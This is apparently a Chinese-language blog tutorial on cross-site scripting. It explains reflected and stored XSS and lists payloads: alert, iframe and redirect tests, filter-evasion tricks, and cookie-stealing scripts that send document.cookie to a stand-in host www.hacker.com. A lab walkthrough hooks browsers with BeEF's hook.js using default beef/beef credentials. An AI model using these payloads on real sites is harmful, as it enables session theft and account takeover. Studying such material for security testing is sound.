XSS跨站攻防安全

1.XSS简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。 
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢? 
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页 面中去。使别的用户访问都会执行相应的嵌入代码。 
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。 XSS攻击的危害包括: 
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
3、盗窃企业重要的具有商业价值的资料 
4、非法转账 
5、强制发送电子邮件 
6、网站挂马 
7、控制受害者机器向其它网站发起攻击
XSS主要原因: 
过于信任客户端提交的数据! 
XSS主要分类: 

反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因
是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用
户的点击)。 

存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网
站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS
攻击危害性更大, 因为每当用户打开页面,查看内容时脚本将自动执行。

2.构造XSS脚本

常用HTML标签

<iframe>			 iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
 <textarea> 		<textarea> 标签定义多行的文本输入控件。 
 <img> 			img 元素向网页中嵌入一幅图像。 
 <script>  		<script> 标签用于定义客户端脚本,比如 JavaScript。 
 						script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚本文件。 
 						必需的 type 属性规定脚本的 MIME 类型。 
 						JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。

常用JavaScript方法

alert 							alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框 
window.location 			window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。 location.href 				返回当前显示的文档的完整 URL 
onload 						一张页面或一幅图像完成加载 
onsubmit 					确认按钮被点击 
onerror 						在加载文档或图像时发生错误

构造XSS脚本

弹框警告 此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号', 一旦此脚
本能执行,也就意 味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏
洞。 
<script>alert('xss')</script>       #会弹出一个xss的小框
<script>alert(document.cookie)</script>

页面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>   
#会显示出一个长宽都是300的百度页面,你可以设置为其它页面的url
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳转到百度界面
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向 
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script> 
<script>alert('xss');location.href="http://www.baidu.com"</script> 
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了
这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

访问恶意代码 
<script src="http://www.baidu.com/xss.js"></script> 
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie 

巧用图片标签 
<img src="#" onerror=alert('xss')> 
<img src="javascript:alert('xss');"> 
<img src="http://BeEF_IP:3000/hook.js"></img> 

绕开过滤的脚本 
大小写 <ScrIpt>alert('xss')</SCRipt> 
字符编码 采用URL、Base64等编码 
<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116 ;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yjssjm</a> 

收集用户cookie 
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。 
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> 
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> 
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> 
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> 
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; 
img.height = 0; 
</script>

上面这些代码下面会有实验来一一解释,反射型xss和存储型xss都能用。

3.反射型XSS

简单来说反射型就是临时的xss,只有别人把该链接发给你,你点开之后才会中圈套。但是你不点开,正常的去访问该网站是没什么问题的。
这里我们用kali当做被下套的客户端,将我们做好的xss的链接地址复制到kali里面自带的浏览器上

弹框警告: 
<script>alert('yjssjm')</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以,反射型xss只要我们不打开别人发的链接,自己去访问该页面是没有什么问题的。

页面重定向 
<script>window.location="http://www.baidu.com"</script>  #跳转到百度界面

直接跳转到百度界面
在这里插入图片描述

页面嵌套 
<iframe src=http://www.baidu.com width=300 height=300></iframe>

在这里插入图片描述

4.存储型XSS

存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等; 用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
简单来说,就是知道你访问这个网站中带有xss的区域就会中套。

弹框告警: 
text1
<script>alert('yjssjm')</script>

在这里插入图片描述
在这里插入图片描述
然后我们去kali上面打开
在这里插入图片描述
在这里插入图片描述
这几乎是存储型xss,在某个区域,只要你点开就会中了别人下的圈套。

5.自动化xss

我们这里用到kali里面自带的BeEF(牛)软件,用来实现自动化xss

启动Apache和BeEF: 
root@kali:~# service apache2 start

然后打开BeEF
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<script src="http://192.168.13.145:3000/hook.js"></script> 
注:192.168.13.145为BeEF所在机器,即Kali Linux IP

在这里插入图片描述
你会发现我们的代码没法完全复制进去,是因为网页给我们限制了字数,我们需要去修改一下
在这里插入图片描述
然后我们去kali里面登录BeEF:
username: beef
password: beef
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

命令颜色(Color): 
绿色 对目标主机生效并且不可见(不会被发现) 
橙色 对目标主机生效但可能可见(可能被发现) 
灰色 对目标主机未必生效(可验证下) 
红色 对目标主机不生效

在这里插入图片描述
这里面我们就可以对目标靶机进行各种操作,不用写代码,内部已经设置好了代码,我们只需要点点点,特别方便。

你们的评论和点赞是我写文章的最大动力,蟹蟹。

posted @ 2020-04-11 22:13  yjssjm  阅读(471)  评论(0编辑  收藏  举报